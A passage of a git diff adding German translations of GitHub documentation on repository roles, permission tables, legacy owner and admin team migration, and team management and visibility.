+| Verwalten des Team- und Mitarbeiterzugriffs auf ein Repository | | | | | **✔️** |
+| Bearbeiten des Standardbranches eines Repositorys | | | | | **✔️** |
+| Umbenennen des Standardbranches eines Repositorys (siehe „[Umbenennen eines Branches](/github/administering-a-repository/renaming-a-branch)“) | | | | | **✔️** |
+| Umbenennen eines anderen Branches als des Standardbranches des Repositorys (siehe „[Umbenennen eines Branches](/github/administering-a-repository/renaming-a-branch)“) | | | **✔️** | **✔️** | **✔️** |
+| Verwalten von Webhooks und Bereitstellen von Schlüsseln | | | | | **✔️** |{% ifversion fpt or ghec %}
+| [Verwalten von Datenverwendungseinstellungen für dein privates Repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository) | | | | | **✔️** |{% endif %}
+| [Verwalten der Forking-Richtlinie für ein Repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | **✔️** |
+| [Übertragen von Repositorys auf die Organisation](/articles/restricting-repository-creation-in-your-organization) | | | | | **✔️** |
+| [Löschen oder Übertragen von Repositorys aus der Organisation](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | **✔️** |
+| [Archivieren von Repositorys](/articles/about-archiving-repositories) | | | | | **✔️** |{% ifversion fpt or ghec %}
+| Anzeigen einer Sponsoringschaltfläche (siehe [Anzeigen einer Sponsoringschaltfläche in deinem Repository](/articles/displaying-a-sponsor-button-in-your-repository)) | | | | | **✔️** |{% endif %}
+| Erstellen von Autolinkverweisen zu externen Ressourcen, z. B. Jira oder Zendesk (siehe „[Automatische Verlinkungen von externen Ressourcen konfigurieren](/articles/configuring-autolinks-to-reference-external-resources)“) | | | | | **✔️** |{% ifversion discussions %}
+| [Aktivieren von {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) in einem Repository | | | | **✔️** | **✔️** |
+| [Erstellen und Bearbeiten von Kategorien](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions) für {% data variables.product.prodname_discussions %} | | | | **✔️** | **✔️** |
+| [Verschieben einer Diskussion in eine andere Kategorie](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** |
+| [Übertragen einer Diskussion](/discussions/managing-discussions-for-your-community/managing-discussions) in ein neues Repository| | | **✔️** | **✔️** | **✔️** |
+| [Verwalten von angehefteten Diskussionen](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** |
+| [Massenkonvertieren von Issues in Diskussionen](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** |
+| [Sperren und Entsperren von Diskussionen](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Individuelles Konvertieren von Issues in Diskussionen](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Erstellen neuer Diskussionen und Kommentieren vorhandener Diskussionen](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Löschen einer Diskussion](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion) | | **✔️** | | **✔️** | **✔️** |{% endif %}{% ifversion fpt or ghec %}
+| Erstellen von [Codespaces](/codespaces/about-codespaces) | | | **✔️** | **✔️** | **✔️** |{% endif %}
+
+### Zugriffsanforderungen für Sicherheitsfeatures
+
+In diesem Abschnitt findest du den Zugriff, der für Sicherheitsfeatures erforderlich ist, z. B. {% data variables.product.prodname_advanced_security %}-Features.
+
+| Repository-Aktion | Lesen | Eingrenzung | Schreiben | Verwalten | Administrator |
+|:---|:---:|:---:|:---:|:---:|:---:| 
+| Empfangen von [{% data variables.product.prodname_dependabot_alerts %} für unsichere Abhängigkeiten](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) in einem Repository | | | | | **✔️** |
+| [Schließen von {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **✔️** |{% ifversion ghes or ghae or ghec %}<!--Not available for FPT-->
+| [Festlegen zusätzlicher Personen oder Teams zum Empfangen von Sicherheitswarnungen](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **✔️** |{% endif %}{% ifversion fpt or ghec %}
+| Erstellen von [Sicherheitsempfehlungen](/code-security/security-advisories/about-github-security-advisories) | | | | | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
+| Verwalten des Zugriffs auf {% data variables.product.prodname_GH_advanced_security %}-Features (siehe [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)) | | | | | **✔️** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
+| [Aktivieren des Abhängigkeitsdiagramms](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) für ein privates Repository | | | | | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %}
+| [Anzeigen von Abhängigkeitsüberprüfungen](/code-security/supply-chain-security/about-dependency-review) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %}
+| [Anzeigen von {% data variables.product.prodname_code_scanning %}-Warnungen für Pull Requests](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |
+| [Auflisten, Schließen und Löschen von {% data variables.product.prodname_code_scanning %}-Warnungen](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **✔️** | **✔️** | **✔️** |
+| [Anzeigen und Löschen von {% data variables.product.prodname_secret_scanning %}-Warnungen in einem Repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️** |{% ifversion ghes or ghae or ghec %}<!--Not available for FPT-->
+| [Auflösen, Widerrufen oder erneutes Öffnen von {% data variables.product.prodname_secret_scanning %}-Warnungen](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %}
+| [Festlegen zusätzlicher Personen oder Teams zum Empfangen von {% data variables.product.prodname_secret_scanning %}-Warnungen](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in Repositorys | | | | | **✔️** |{% endif %}
+
+[1] Repositoryautoren und -verwalter können nur Warnungsinformationen für ihre eigenen Commits anzeigen.
+
+## Weiterführende Themen
+
+- [Verwalten des Zugriffs auf die Repositorys deiner Organisation](/articles/managing-access-to-your-organization-s-repositories)
+- [Externe Mitarbeiter zu Organisations-Repositorys hinzufügen](/articles/adding-outside-collaborators-to-repositories-in-your-organization)
+- [Projektboardberechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization)
diff --git a/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
new file mode 100644
index 0000000000..ee1d471358
--- /dev/null
+++ b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md
@@ -0,0 +1,39 @@
+---
+title: Ein Administratorenteam für verbesserte Organisationsberechtigungen umwandeln
+intro: 'Wenn Deine Organisation nach September 2015 erstellt wurde, verfügt sie standardmäßig über verbesserte Organisationsberechtigungen. Organisationen, die vor September 2015 erstellt wurden, müssen ältere Inhaber- und Administratorenteams möglicherweise auf das verbesserte Berechtigungsmodell migrieren. Mitglieder der alten Administratorenteams behalten automatisch die Fähigkeit, Repositorys zu erstellen, bis diese Teams zu dem verbesserten Organisationsberechtigungsmodell migriert wurden.'
+redirect_from:
+  - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions
+  - /articles/converting-an-admin-team-to-improved-organization-permissions
+  - /github/setting-up-and-managing-organizations-and-teams/converting-an-admin-team-to-improved-organization-permissions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Convert admin team
+ms.openlocfilehash: 183ccd5d1252265ed6ac94924703ceb75ed8adad
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125601'
+---
+Um Mitgliedern der alten Administratorenteams die Berechtigung zum Erstellen von Repositorys zu entziehen, erstelle ein neues Team für diese Mitglieder, stelle dabei sicher, dass das Team den erforderlichen Zugriff auf die Repositorys der Organisation hat, und lösche dann das alte Administratorenteam.
+
+Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+{% warning %}
+
+**Warnungen:**
+- Wenn es Mitglieder in Deinem alten Administratorenteam gibt, die keine Mitglieder anderer Teams sind, werden sie beim Löschen des Teams aus der Organisation entfernt. Bevor Du das Team löschst, stelle sicher, dass die Mitglieder direkte Mitglieder der Organisation sind oder Mitarbeiterzugriff auf die benötigten Repositorys haben.
+- Um zu verhindern, dass private Forks der Mitglieder des alten Administratorenteams verloren gehen, musst Du die unten stehenden Schritte 1 bis 3 ausführen, bevor Du das alte Administratorenteam löschst.
+- Da „Administrator“ ein Begriff für Organisationsmitglieder mit spezifischem [Zugriff auf bestimmte Repositorys](/articles/repository-permission-levels-for-an-organization) in der Organisation ist, solltest du diesen Begriff in allen Teamnamen vermeiden, die du festlegst.
+
+{% endwarning %}
+
+1. [Erstelle ein neues Team.](/articles/creating-a-team)
+2. [Füge jedes Mitglied](/articles/adding-organization-members-to-a-team) deines alten Administratorteams dem neuen Team hinzu.
+3. [Gib dem neuen Team gleichwertigen Zugriff](/articles/managing-team-access-to-an-organization-repository) auf alle Repositorys, auf die das alte Team Zugriff hatte.
+4. [Lösche das alte Administratorteam](/articles/deleting-a-team).
diff --git a/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
new file mode 100644
index 0000000000..ac41572859
--- /dev/null
+++ b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md
@@ -0,0 +1,56 @@
+---
+title: Ein Inhaberteam für verbesserte Organisationsberechtigungen umwandeln
+intro: 'Wenn Deine Organisation nach September 2015 erstellt wurde, verfügt sie standardmäßig über verbesserte Organisationsberechtigungen. Organisationen, die vor September 2015 erstellt wurden, müssen ältere Inhaber- und Administratorenteams möglicherweise auf das verbesserte Berechtigungsmodell migrieren. Der „Owner“ (Inhaber) ist jetzt eine administrative Rolle, die einzelnen Mitgliedern Deiner Organisation zugewiesen wird. Mitglieder des alten Inhaberteams erhalten automatisch Inhaberberechtigungen.'
+redirect_from:
+  - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program
+  - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions
+  - /articles/converting-an-owners-team-to-improved-organization-permissions
+  - /github/setting-up-and-managing-organizations-and-teams/converting-an-owners-team-to-improved-organization-permissions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Convert Owners team
+ms.openlocfilehash: ff4845a8d36ecc757a989ef669b645543addff2d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880380'
+---
+Du hast mehrere Möglichkeiten, Dein altes Inhaberteam umzuwandeln:
+
+- Gib dem Team einen neuen Namen, der die Mitglieder kennzeichnet, die einen besonderen Status in der Organisation haben.
+- Lösche das Team, nachdem Du sichergestellt hast, dass alle Mitglieder zu Teams hinzugefügt wurden, die den benötigten Zugriff auf die Repositorys der Organisation haben.
+
+## Dem Inhaberteam einen neuen Namen geben
+
+{% tip %}
+
+   **Hinweis**: Da „Administrator“ ein Begriff für Organisationsmitglieder mit spezifischem [Zugriff auf bestimmte Repositorys](/articles/repository-permission-levels-for-an-organization) in der Organisation ist, empfehlen wir, diesen Begriff in allen Teamnamen, die du festlegst, zu vermeiden.
+
+{% endtip %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.owners-team %} {% data reusables.organizations.convert-owners-team-confirm %}
+5. Lege im Feld für den Teamnamen einen neuen Namen für das Inhaberteam fest. Beispiel:
+    - Wenn nur sehr wenige Mitglieder Deiner Organisation Mitglieder des Inhaberteams waren, könntest Du das Team beispielsweise „Kern“ nennen.
+    - Wenn alle Mitglieder deiner Organisation Mitglieder des Teams „Besitzer“ wären, damit sie [Teams per @mention erwähnen können](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), könntest du das Team beispielsweise „Mitarbeiter“ nennen.
+  ![Das Feld für den Teamnamen mit „Kern“ als neuen Namen für das Besitzerteam](/assets/images/help/teams/owners-team-new-name.png)
+6. Klicke unter der Teambeschreibung auf **Speichern und fortfahren**.
+![Schaltfläche „Speichern und fortfahren“](/assets/images/help/teams/owners-team-save-and-continue.png)
+7. Optional kannst du [das Team als *öffentlich* festlegen](/articles/changing-team-visibility).
+
+## Das alte Inhaberteam löschen
+
+{% warning %}
+
+**Warnung**: Wenn dein Besitzerteam Mitglieder umfasst, die keinen anderen Teams angehören, werden diese durch das Löschen des Teams aus der Organisation entfernt. Bevor Du das Team löschst, stelle sicher, dass die Mitglieder direkte Mitglieder der Organisation sind oder Mitarbeiterzugriff auf die benötigten Repositorys haben.
+
+{% endwarning %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.owners-team %} {% data reusables.organizations.convert-owners-team-confirm %}
+5. Lies die Warnung unten auf der Seite, und klicke dann auf **Besitzerteam löschen**.
+  ![Link zum Löschen des Besitzerteams](/assets/images/help/teams/owners-team-delete.png)
diff --git a/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/index.md b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/index.md
new file mode 100644
index 0000000000..d4207ed590
--- /dev/null
+++ b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/index.md
@@ -0,0 +1,29 @@
+---
+title: Zu verbesserten Organisationsberechtigungen migrieren
+intro: 'Falls Deine Organisation nach September 2015 erstellt wurde, verfügt sie standardmäßig über optimierte Organisationsberechtigungen. Bei Organisationen, die vor September 2015 erstellt wurden, müssen ältere Inhaber- und Administratorenteams möglicherweise zum optimierten Berechtigungsmodell migrieren.'
+redirect_from:
+  - /articles/improved-organization-permissions
+  - /articles/github-direct-organization-membership-pre-release-guide
+  - /articles/migrating-your-organization-to-improved-organization-permissions
+  - /articles/migrating-to-improved-organization-permissions
+  - /github/setting-up-and-managing-organizations-and-teams/migrating-to-improved-organization-permissions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /converting-an-owners-team-to-improved-organization-permissions
+  - /converting-an-admin-team-to-improved-organization-permissions
+  - /migrating-admin-teams-to-improved-organization-permissions
+shortTitle: Migrate to improved permissions
+ms.openlocfilehash: 121219b628dee77ab71894b70dc5a7c34cc72ad9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125593'
+---
+
diff --git a/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
new file mode 100644
index 0000000000..5355f6ecad
--- /dev/null
+++ b/translations/de-DE/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md
@@ -0,0 +1,48 @@
+---
+title: Migrating admin teams to improved organization permissions
+intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.'
+redirect_from:
+  - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions
+  - /articles/migrating-admin-teams-to-improved-organization-permissions
+  - /github/setting-up-and-managing-organizations-and-teams/migrating-admin-teams-to-improved-organization-permissions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Migrate admin team
+---
+
+By default, all organization members can create repositories. If you restrict [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) to organization owners, and your organization was created under the legacy organization permissions structure, members of legacy admin teams will still be able to create repositories.
+
+Legacy admin teams are teams that were created with the admin permission level under the legacy organization permissions structure. Members of these teams were able to create repositories for the organization, and we've preserved this ability in the improved organization permissions structure.
+
+You can remove this ability by migrating your legacy admin teams to the improved organization permissions.
+
+For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+
+{% warning %}
+
+**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories.
+
+{% endwarning %}
+
+## Migrating all of your organization's legacy admin teams
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.teams_sidebar %}
+1. Review your organization's legacy admin teams, then click **Migrate all teams**.
+  ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png)
+1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.**
+  ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png)
+
+## Migrating a single admin team
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.specific_team %}
+1. In the team description box, click **Migrate team**.
+  ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/about-teams.md b/translations/de-DE/content/organizations/organizing-members-into-teams/about-teams.md
new file mode 100644
index 0000000000..02c9f5a658
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/about-teams.md
@@ -0,0 +1,82 @@
+---
+title: About teams
+intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions.
+redirect_from:
+  - /articles/about-teams
+  - /github/setting-up-and-managing-organizations-and-teams/about-teams
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+---
+
+![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png)
+
+Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file.
+
+For more information, see:
+- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)"
+- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)"
+- "[About code owners](/articles/about-code-owners/)"
+
+![Image of a team mention](/assets/images/help/teams/team-mention.png)
+
+{% ifversion ghes %}
+
+You can also use LDAP Sync to synchronize {% data variables.location.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.location.product_location %}. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)."
+
+{% endif %}
+
+{% data reusables.organizations.team-synchronization %}
+
+## Team visibility
+
+{% data reusables.organizations.types-of-team-visibility %}
+
+You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)."
+
+## Team pages
+
+Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page.
+
+Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)."
+
+![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png)
+
+## Nested teams
+
+You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams.
+
+Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people.
+
+For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification.
+
+![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png)
+
+To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team.
+
+![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png)
+
+You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)."
+
+{% data reusables.enterprise_user_management.ldap-sync-nested-teams %}
+
+## Preparing to nest teams in your organization
+
+If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization.
+
+At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories.
+
+1. Remove all members from existing teams
+2. Audit and adjust each team's repository access permissions and give each team a parent
+3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access
+4. Add people directly to teams
+
+## Further reading
+
+- "[Creating a team](/articles/creating-a-team)"
+- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)"
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
new file mode 100644
index 0000000000..6b75096b6f
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/adding-organization-members-to-a-team.md
@@ -0,0 +1,35 @@
+---
+title: Organisationsmitglieder zu einem Team hinzufügen
+intro: 'Benutzer mit Inhaber- oder Teambetreuerberechtigungen können Teams Organisationsmitglieder hinzufügen. Benutzer mit Besitzerberechtigungen können auch {% ifversion fpt or ghec %}Nicht-Mitglieder zu einem Team und zur Organisation einladen{% else %}Nicht-Mitglieder zu Team und Organisation hinzufügen{% endif %}.'
+redirect_from:
+  - /articles/adding-organization-members-to-a-team-early-access-program
+  - /articles/adding-organization-members-to-a-team
+  - /github/setting-up-and-managing-organizations-and-teams/adding-organization-members-to-a-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Add members to a team
+ms.openlocfilehash: 0a0dcd6b925c2209ae583197963db84ba881c7ff
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125538'
+---
+{% data reusables.organizations.team-synchronization %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_members_tab %}
+6. Klicke oberhalb der Liste der Teammitglieder auf **Mitglied hinzufügen**.
+![Schaltfläche „Mitglied hinzufügen“](/assets/images/help/teams/add-member-button.png) {% data reusables.organizations.invite_to_team %} {% data reusables.organizations.review-team-repository-access %}
+
+{% ifversion fpt or ghec %}{% data reusables.organizations.cancel_org_invite %}{% endif %}
+
+## Weiterführende Themen
+
+- [Informationen zu Teams](/articles/about-teams)
+- [Verwalten des Teamzugriffs auf ein Organisationsrepository](/articles/managing-team-access-to-an-organization-repository).
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md b/translations/de-DE/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
new file mode 100644
index 0000000000..97559712b3
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member.md
@@ -0,0 +1,52 @@
+---
+title: Zuweisen der Rolle des Teambetreuers zu einem Teammitglied
+intro: 'Du kannst einem Teammitglied die Berechtigung erteilen, die Teammitgliedschaft und Einstellungen zu verwalten, indem du diesem die Rolle „Teambetreuer“ zuweist.'
+redirect_from:
+  - /articles/giving-team-maintainer-permissions-to-an-organization-member-early-access-program
+  - /articles/giving-team-maintainer-permissions-to-an-organization-member
+  - /github/setting-up-and-managing-organizations-and-teams/giving-team-maintainer-permissions-to-an-organization-member
+  - /organizations/managing-peoples-access-to-your-organization-with-roles/giving-team-maintainer-permissions-to-an-organization-member
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Team maintainers
+permissions: Organization owners can promote team members to team maintainers.
+ms.openlocfilehash: 2408d8c12718375d777432be03d6e19f7d6d04b5
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145125537'
+---
+## Informationen zu Teambetreuern
+
+Personen mit der Rolle des Teambetreuers können Teammitglieder und Einstellungen verwalten.
+
+- [Ändern des Namens und der Beschreibung des Teams](/articles/renaming-a-team)
+- [Ändern der Sichtbarkeit des Teams](/articles/changing-team-visibility)
+- [Anfordern der Hinzufügung eines untergeordneten Teams](/articles/requesting-to-add-a-child-team)
+- [Anfordern der Hinzufügung oder Änderung eines übergeordneten Teams](/articles/requesting-to-add-or-change-a-parent-team)
+- [Festlegen des Teamprofilbild](/articles/setting-your-team-s-profile-picture)
+- [Bearbeiten von Teamdiskussionen](/articles/managing-disruptive-comments/#editing-a-comment)
+- [Löschen von Teamdiskussionen](/articles/managing-disruptive-comments/#deleting-a-comment)
+- [Hinzufügen von Organisationsmitgliedern zum Team](/articles/adding-organization-members-to-a-team)
+- [Entfernen von Organisationsmitgliedern aus dem Team](/articles/removing-organization-members-from-a-team)
+- Entfernen der Zugriffsberechtigungen des Teams für Repositorys
+- [Verwalten der Code Review-Zuweisung für das Team](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team){% ifversion fpt or ghec %}
+- [Verwalten geplanter Erinnerungen für Pull Requests](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team){% endif %}
+
+## Ein Organisationsmitglied zum Team-Betreuer ernennen
+
+Damit du ein Organisationsmitglied zum Teambetreuer hochstufen kannst, muss die Person bereits Mitglied des Teams sein.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_members_tab %}
+4. Wähle die Person(en) aus, die du zum Team-Betreuer ernennen möchtest.
+![Kontrollkästchen neben dem Organisationsmitglied](/assets/images/help/teams/team-member-check-box.png)
+5. Klicke oberhalb der Liste der Teammitglieder auf das Dropdownmenü und dann auf **Rolle ändern...**. ![Dropdownmenü mit Option zum Ändern der Rolle](/assets/images/help/teams/bulk-edit-drop-down.png)
+6. Wähle eine neue Rolle aus, und klicke auf **Rolle ändern**.
+![Optionsfelder für die Rollen „Betreuer“ oder „Mitglied“](/assets/images/help/teams/team-role-modal.png)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/changing-team-visibility.md b/translations/de-DE/content/organizations/organizing-members-into-teams/changing-team-visibility.md
new file mode 100644
index 0000000000..bf2e6aac66
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/changing-team-visibility.md
@@ -0,0 +1,36 @@
+---
+title: Sichtbarkeit eines Teams ändern
+intro: 'Teambetreuer*innen und Organisationsinhaber*innen können bestimmen, ob ein Team *sichtbar* oder *geheim* ist.'
+redirect_from:
+  - /articles/changing-team-visibility
+  - /github/setting-up-and-managing-organizations-and-teams/changing-team-visibility
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+ms.openlocfilehash: ef3db776784e9ad1f499c4683f79da0178b87dfd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125530'
+---
+{% data reusables.organizations.types-of-team-visibility %}
+
+{% tip %}
+
+**Tipp**: Wenn ein Team [über untergeordnete oder übergeordnete Teams](/articles/about-teams) verfügt, kannst du es nicht als geheimes Team festlegen.
+
+{% endtip %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %}
+3. Wähle die Teams aus, deren Sichtbarkeit du ändern möchtest.
